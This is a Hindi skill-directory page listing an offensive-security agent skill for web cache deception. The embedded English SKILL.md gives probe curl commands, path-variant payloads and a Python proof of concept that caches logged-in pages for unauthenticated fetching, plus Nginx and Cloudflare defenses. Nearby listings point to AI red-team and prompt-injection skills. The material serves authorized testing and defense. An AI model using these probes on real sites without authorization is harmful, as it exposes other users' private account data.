मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी6.5k · #14052

cache-deception

यह क्या करती है

यह गाइड web cache deception को कवर करती है, जहाँ CDN या proxy लॉगिन किए यूज़र का निजी पेज ऐसे स्टोर करता है मानो वह सार्वजनिक हो। यह वेब ऐप के सामने कैश चलाने वाली टीमों के लिए है।

कब इस्तेमाल करें

  • ✓जब कोई साइट CDN या proxy इस्तेमाल करती है जो फ़ाइल एक्सटेंशन या पथ पैटर्न पर पेज कैश करती है।
  • ✓जब अधिकृत टेस्ट जाँचना चाहता है कि निजी पेज स्थिर दिखने वाले URL के नीचे कैश हो सकते हैं या नहीं।
  • ✓जब टीम लॉगिन वाली सामग्री के लिए अपने कैश नियम समीक्षा कर रही है।

Skill का लिंक

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“हमारी साइट ऐप के सामने CDN इस्तेमाल करती है। क्या आप जाँच सकते हैं कि निजी खाता पेज स्थिर दिखने वाले URL के नीचे कैश हो सकते हैं?”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट टेस्ट खाते में नकली स्थिर दिखने वाले पथों से खाता पेज माँगता है, कैश हेडर जाँचता है, और तुलना करता है कि बिना लॉगिन वाला विज़िटर क्या पाता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Web Cache Deception

Reverse proxies / CDNs cache based on URL extension or path patterns (.css, .jpg, /static/). If the origin server returns the authenticated page for any path, attacker tricks the cache into storing private content under a public-cacheable URL.

1. The classic

GET /account.css     ← attacker visits, in their own session
                       Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
                       Cache stores response keyed on /account.css

GET /account.css     ← victim or any unauth visitor
                       Cache HIT → serves the attacker-cached, victim-data response

2. Probe the deception

# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'

# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)

# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies

If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.

3. Variants

Variant Path
.css suffix /account/foo.css
.jpg suffix /account.jpg
/static/ prefix /static/../account
Multiple slashes /account//.css
URL-encoded ; /account%3B.css
Trailing semi-segment /account;foo.css
Double extension /account.html.css
Path parameter /account.css/anything

Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.

4. Cache poisoning vs cache deception

  • Deception — attacker forces cache of victim's data, served to others
  • Poisoning — attacker injects content into a normal cached resource

This skill covers deception. Cache poisoning is a separate (overlapping) class.

5. Tools

  • Param Miner (Burp plugin) — unkeyed param discovery
  • webcache.cyberxecution.com for quick suffix probes
  • Manual via Burp Repeater

6. PoC

import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'

# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")

# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text   # adjust to whatever marker your auth page has

7. Severity

Bug Severity
Cache deception exposing PII (email, name, balance) Critical 8-9
Cache deception of session token Critical 9.8 (ATO)
Cache deception of public-only data Informational
Cache poisoning of script content Critical 9.0 (RCE-adjacent in browser context)

8. Defender

# Nginx — prefix-based cache keys, NOT extension-based
location / {
  proxy_pass http://origin;
  proxy_cache_key "$scheme$proxy_host$uri";
  add_header Cache-Control "private, no-store" always;
}

# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension

Apps should send Cache-Control: private, no-store on every authenticated response to defeat both deception and poisoning.

Cross-references

  • Upstream catalog: skills/_corpus/payloads/Web Cache Deception/
  • Smuggling overlap: skills/exploit/web/smuggling.md

Known exemplars

  • Omer Gil's original PayPal disclosure (2017)
  • Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
  • 2023: notable Stripe disclosure of cache deception leading to PII leak
अक्सर पूछे जाने वाले सवाल

जोखिम क्या है?

निजी पेज स्टोर होकर उसी पते का इस्तेमाल करने वाले दूसरे विज़िटरों को दिखाया जा सकता है।

कौन-से पथ टेस्ट होते हैं?

गाइड के अनुसार वे पथ जो निजी पेजों में नकली स्थिर एक्सटेंशन या प्रीफ़िक्स जोड़ते हैं।

इसे कैसे ठीक करें?

कैश नियम ऐसे सेट करके कि लॉगिन वाले या निजी जवाब कभी स्टोर न हों।

जानकारी

लेखक का मूल विवरण

Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.

repo: BitterSecurity/Decepticon

लोकप्रियता

GitHub स्टार
6.5k
रैंकिंग में स्थान
#14052
लाइसेंस
Apache-2.0
अपडेट की गई
1/11/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

detector-overview

6.5k

यह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।

कोडिंगसिक्योरिटी

exploiter-overview

6.5k

यह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।

कोडिंगसिक्योरिटी

llm-redteam-overview

6.5k

यह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।

कोडिंगसिक्योरिटी

aatmf-t01-prompt-injection

6.5k

समझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।

कोडिंगसिक्योरिटी

मिलती-जुलती skills